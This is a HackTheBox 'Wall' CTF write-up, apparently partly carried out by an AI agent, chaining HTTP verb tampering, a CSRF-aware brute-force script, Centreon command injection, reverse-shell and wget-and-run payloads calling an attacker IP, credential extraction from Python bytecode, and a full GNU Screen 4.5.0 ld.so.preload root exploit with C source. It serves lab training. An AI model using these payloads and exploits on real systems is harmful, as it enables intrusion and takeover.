HTB: Wall Writeup
Wall - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Wall |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | September 2019 |
| IP Address | 10.129.2.9 |
| Author | askar |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
Wall is a medium-difficulty Linux machine that demonstrates real-world vulnerabilities in enterprise monitoring software. The attack path begins with an HTTP verb tampering vulnerability to bypass basic authentication, followed by credential brute-forcing against a CSRF-protected login form. Initial foothold is gained through exploiting Centreon 19.04 monitoring software using CVE-2019-16405, which allows command injection via a misconfigured WAF that only inspects POST request bodies. Lateral movement to the user shelby is achieved by extracting credentials from a compiled Python bytecode file. Root access is obtained through exploiting CVE-2017-5618, a privilege escalation vulnerability in GNU Screen 4.5.0.
TL;DR: HTTP verb tampering → Centreon 19.04 login brute-force → CVE-2019-16405 RCE via WAF bypass (GET-based command test) → Python bytecode credential extraction → CVE-2017-5618 Screen SUID exploit → root
Reconnaissance
Port Scanning
# Quick SYN scan to identify open portsnmap -sC -sV -T4 -p- 10.129.2.9Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))Two services are exposed: SSH on port 22 and Apache web server on port 80.
Web Enumeration
Browsing to http://10.129.2.9 displays the default Apache2 Ubuntu landing page, suggesting the web root hasn’t been customized or the actual application resides in a subdirectory.
# Directory enumeration to discover hidden pathsgobuster dir -u http://10.129.2.9 -w /usr/share/wordlists/dirb/common.txt -x phpKey Findings:
/monitoring- Returns HTTP 401 Unauthorized (requires basic authentication)/centreon- Centreon network monitoring application login page
Attempting to access /monitoring triggers a Basic Authentication prompt with no obvious default credentials.
HTTP Verb Tampering Discovery
When intercepting the request to /monitoring with Burp Suite, changing the HTTP method from GET to POST bypasses the authentication requirement:
POST /monitoring HTTP/1.1Host: 10.129.2.9Response:
HTTP/1.1 200 OKLocation: /centreonThis indicates a misconfiguration where Apache’s authentication directive only applies to GET requests, not POST. This is a classic HTTP verb tampering vulnerability - the authentication check is method-specific rather than universal.
The successful bypass redirects to /centreon, revealing Centreon 19.04, a network monitoring platform.
Vulnerability Assessment
- HTTP Verb Tampering - Basic authentication bypass via POST method
- Centreon 19.04 - Multiple known CVEs including:
- CVE-2019-13024 (Command injection via nagios_bin parameter)
- CVE-2019-16405 (Command injection via plugin test with WAF bypass)
- CSRF Token Implementation - Login form uses CSRF tokens, preventing simple brute-force
Initial Foothold
Centreon Login Brute-Force
The Centreon login page at /centreon uses CSRF tokens to protect against automated attacks. Each login attempt requires fetching a fresh token from the page source.
CSRF Token Analysis:
<input type="hidden" name="centreon_token" value="[random-token]" />A custom Python script is required to:
- Fetch the login page
- Extract the
centreon_tokenfrom HTML - Submit credentials with the token
- Check response for authentication failure
#!/usr/bin/env python3import requestsfrom bs4 import BeautifulSoup
# Target URLurl = 'http://10.129.2.9/centreon/index.php'session = requests.Session()
def attempt_login(username, password): # Fetch login page to get CSRF token page = session.get(url) soup = BeautifulSoup(page.content, 'html.parser')
# Extract centreon_token from hidden input field token = soup.find('input', attrs={'name': 'centreon_token'})['value']
# Prepare login POST data data = { 'useralias': username, 'password': password, 'submitLogin': 'Connect', 'centreon_token': token }
# Submit login request response = session.post(url, data=data)
# Check if login was successful (no "incorrect" message) if 'incorrect' not in response.text: print(f"[+] Valid credentials found: {username}:{password}") return True return False
# Load password wordlistwith open('passwords.txt', 'r') as wordlist: for line in wordlist: password = line.strip() print(f"[*] Trying: admin:{password}") if attempt_login('admin', password): breakResult:
[*] Trying: admin:password1[+] Valid credentials found: admin:password1The default admin account uses the weak password password1. After authentication, navigating to the “About” section confirms the version: Centreon 19.04.0.
Remote Code Execution via CVE-2019-16405
Centreon 19.04 contains multiple command injection vulnerabilities. The primary path (CVE-2019-13024) involves injecting commands into the nagios_bin parameter in the Poller configuration. However, this path failed during exploitation due to an internal PHP error in restartPollers.php.
Alternative Exploitation: Plugin Test Command Injection
Centreon allows administrators to test custom monitoring commands. The vulnerability exists because:
- Commands are sent via GET request parameters
- The Web Application Firewall (WAF) only inspects POST request bodies
- User input in command parameters isn’t properly sanitized
Exploitation Steps:
- Navigate to Configuration → Commands → Checks (or Miscellaneous)
- Create a new command or use the test interface at
main.get.php?p=60801 - Set
$USER1$resource macro path to/(Configuration → Pollers → Resources) - Use the Plugin Test feature to execute arbitrary commands
Why GET requests bypass the WAF:
The WAF configuration only inspects POST request bodies for malicious patterns. By embedding the command in GET parameters (specifically through the plugin test interface which uses main.get.php?p=60801&o=p with command parameters in the query string), we bypass this protection entirely.
Command Execution via Plugin Test:
The test interface accepts commands and displays their output inline. Since pipes and redirects are escaped when saved via POST, but the GET-based test interface processes them directly, we can achieve RCE.
# Test basic command execution# In the plugin test interface: ps aux# This confirms command execution worksEstablishing Reverse Shell:
Direct bash reverse shells fail due to character escaping. The workaround:
# 1. Create reverse shell payloadecho 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1' > shell.sh
# 2. Host the file via HTTPpython3 -m http.server 80
# 3. In Centreon Plugin Test, use wget to download# Command: wget 10.10.14.3/shell.sh -O /tmp/pwn
# 4. Make executable and run via another test# Command: bash /tmp/pwnAlternatively, using base64 encoding with ${IFS} to avoid space filtering:
# Encode payloadecho 'bash -i >& /dev/tcp/[ATTACKER_IP]/4444 0>&1' | base64# Result: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMQo=
# In Plugin Test, inject command via GET parameter:echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMQo=|base64${IFS}-d|bashThe agent used the CVE-2019-16405 method (Plugin Test with GET parameters) to achieve RCE, as the primary CVE-2019-13024 path failed with PHP errors.
Reverse Shell Obtained:
# Listenernc -lvnp 4444
# Connection receivedwww-data@Wall:/usr/local/centreon/www$Initial foothold achieved as www-data.
Lateral Movement to shelby
File System Enumeration
# Check home directoriesls -la /home# Shows user: shelby
# Search for interesting filesfind /opt -type f 2>/dev/nullDiscovery:
/opt/.shelby/backupThis file has world-readable permissions:
www-data@Wall:/opt/.shelby$ ls -latotal 12drwxr-xr-x 2 shelby shelby 4096 Jul 7 2019 .drwxr-xr-x 3 root root 4096 Jul 4 2019 ..-rw-r--r-- 1 shelby shelby 1472 Jul 30 2019 backupPython Bytecode Analysis
# Check file typefile /opt/.shelby/backup# /opt/.shelby/backup: python 2.7 byte-compiled
# Running it produces no useful outputpython /opt/.shelby/backup# DoneThe file is a compiled Python 2.7 .pyc file. Without a decompiler on the target system, we need to extract and analyze it locally.
Exfiltration via base64:
# Encode the file for transferbase64 /opt/.shelby/backupOutput:
AwPtDQoAAAAAc3cAAABzKwAAAGQAZAFkAmpBZABkAmQDagJkAGQEZAVqA2QAZAZkB2oEZAhlAGQJUykKTmMCAAAAQXMHAAAAcGFyYW1pa29zBwAAAHNoZWxieXMIAAAA[... truncated for brevity ...]Local Decoding:
# Save base64 output to filecat > backup.b64 << 'EOF'[paste base64 content]EOF
# Decodebase64 -d backup.b64 > backup.pycExtracting Credentials from Bytecode
While tools like uncompyle6 can decompile .pyc files, the agent manually parsed the Python marshal bytecode format to extract string constants. Python 2.7 bytecode uses LOAD_CONST opcodes to load string literals.
Manual Bytecode Analysis:
# View raw bytecode stringsstrings backup.pyc | grep -A 30 "paramiko"Key Extracted Strings:
paramikoshelbywall.htbShelbyPassw@rdIsStrong!The password is constructed character by character using chr(ord()) calls, which is visible in the bytecode’s LOAD_CONST sequence. Concatenating these characters yields:
Extracted Password: ShelbyPassw@rdIsStrong!
Why this works:
The backup script was designed to securely transfer files via SFTP using the paramiko library. The developer attempted to obfuscate the hardcoded password by building it character-by-character rather than storing it as a plain string. However, compiled Python bytecode still contains all string constants in the co_consts tuple, making this “obfuscation” trivial to reverse.
SSH Access
# Login as shelbyssh shelby@10.129.2.9# Password: ShelbyPassw@rdIsStrong!User Flag:
shelby@Wall:~$ cat user.txt<redacted>Privilege Escalation
SUID Binary Enumeration
# Search for SUID binariesfind / -perm -4000 -type f 2>/dev/nullKey Finding:
/bin/screen-4.5.0A non-standard SUID binary: screen-4.5.0. This specific version is vulnerable to CVE-2017-5618.
CVE-2017-5618: GNU Screen 4.5.0 Privilege Escalation
Vulnerability Description:
GNU Screen 4.5.0 contains a privilege escalation vulnerability in its session handling. When Screen is SUID root, it creates a logfile with elevated privileges. An attacker can abuse the ld.so.preload mechanism to inject a shared library that executes arbitrary code as root.
Technical Details:
- Screen creates a logfile in a predictable location
- We can create a symbolic link from that location to
/etc/ld.so.preload - When Screen writes to the “logfile,” it actually writes to
ld.so.preload - We control the content written (our malicious library path)
- Any SUID binary that loads will preload our library as root
- Our library calls
setuid(0)and spawns a root shell
Exploitation:
# Create working directorycd /tmpmkdir privesccd privesc
# Create the malicious library sourcecat > libhax.c << 'EOF'#include <stdio.h>#include <sys/types.h>#include <unistd.h>
__attribute__ ((__constructor__))void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n");}EOF
# Compile the malicious librarygcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c
# Create the rootshell binarycat > rootshell.c << 'EOF'#include <stdio.h>
int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL);}EOF
# Compile rootshellgcc -o /tmp/rootshell rootshell.c
# Set up the exploitcd /etcumask 000
# Run screen with logging to trigger the exploit/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
# Execute screen again to trigger library loading/bin/screen-4.5.0 -lsExploit Execution:
shelby@Wall:/tmp$ cd /etcshelby@Wall:/etc$ umask 000shelby@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"shelby@Wall:/etc$ /bin/screen-4.5.0 -ls[+] done!The exploit writes the path /tmp/libhax.so to /etc/ld.so.preload via Screen’s logging feature. When any SUID binary (including Screen itself) subsequently runs, the dynamic linker preloads our malicious library, which changes ownership of /tmp/rootshell to root and sets the SUID bit.
Root Shell:
shelby@Wall:/tmp$ /tmp/rootshell# iduid=0(root) gid=0(root) groups=0(root),1000(shelby)
# cat /root/root.txt<redacted>Attack Chain Summary
Port Scan (22/SSH, 80/Apache) → HTTP Verb Tampering (POST /monitoring bypass) → Centreon 19.04 Discovery → CSRF-aware Brute-force (admin:password1) → CVE-2019-16405 RCE (Plugin Test GET-based WAF bypass) → Shell as www-data → Python Bytecode Analysis (/opt/.shelby/backup) → Credential Extraction (ShelbyPassw@rdIsStrong!) → SSH as shelby (user.txt) → SUID Enumeration (/bin/screen-4.5.0) → CVE-2017-5618 Exploitation (ld.so.preload injection) → Root Shell (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Web directory discovery |
Burp Suite | HTTP verb tampering and request interception |
Python 3 | Custom CSRF-aware brute-force script |
BeautifulSoup | HTML parsing for CSRF token extraction |
nc | Reverse shell listener |
base64 | File exfiltration encoding |
strings | Bytecode string extraction |
gcc | Compiling privilege escalation exploit |
ssh | Remote access as shelby |
Key Learnings
Techniques Practiced
- HTTP verb tampering to bypass authentication controls
- Automating CSRF token extraction for credential brute-forcing
- WAF bypass via HTTP method switching (POST inspection only)
- Command injection in monitoring software with character encoding
- Python bytecode analysis without decompilers
- Exploiting SUID binaries with CVE-based exploits
ld.so.preloadprivilege escalation technique
Lessons Learned
-
Defense in depth matters: Authentication should be method-agnostic. The
/monitoringendpoint’s vulnerability shows why security controls must apply uniformly across all HTTP methods, not just GET or POST. -
WAF configuration is critical: A WAF that only inspects POST bodies while allowing GET requests with the same parameters is effectively useless. Modern WAFs should inspect all input vectors regardless of HTTP method.
-
Token-based protections aren’t foolproof: CSRF tokens protect against cross-site attacks but don’t prevent scripted brute-force attacks when the token generation is predictable and accessible.
-
Code obfuscation != security: Building strings character-by-character in compiled Python provides zero security benefit. The bytecode still contains all string constants. Sensitive credentials should never be hardcoded, regardless of obfuscation attempts.
-
SUID audit importance: The presence of a versioned, non-standard SUID binary (
screen-4.5.0) is a red flag. Regular auditing of SUID binaries and removing unnecessary SUID bits is crucial for security. -
CVE awareness for sysadmins: Both Centreon 19.04 and Screen 4.5.0 had publicly disclosed vulnerabilities. Keeping software updated and subscribing to security bulletins prevents exploitation of known CVEs.
-
Least privilege principle: The www-data user had read access to
/opt/.shelby/backup, which contained credentials. Proper file permissions (restricting to owner-only) would have prevented lateral movement.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Official HackTheBox writeup for Wall (Document No D19.100.56) by MinatoTW
- CVE-2019-16405 / CVE-2019-17501: Centreon Command Injection
- CVE-2019-13024: Centreon nagios_bin Command Injection
- CVE-2017-5618: GNU Screen 4.5.0 Privilege Escalation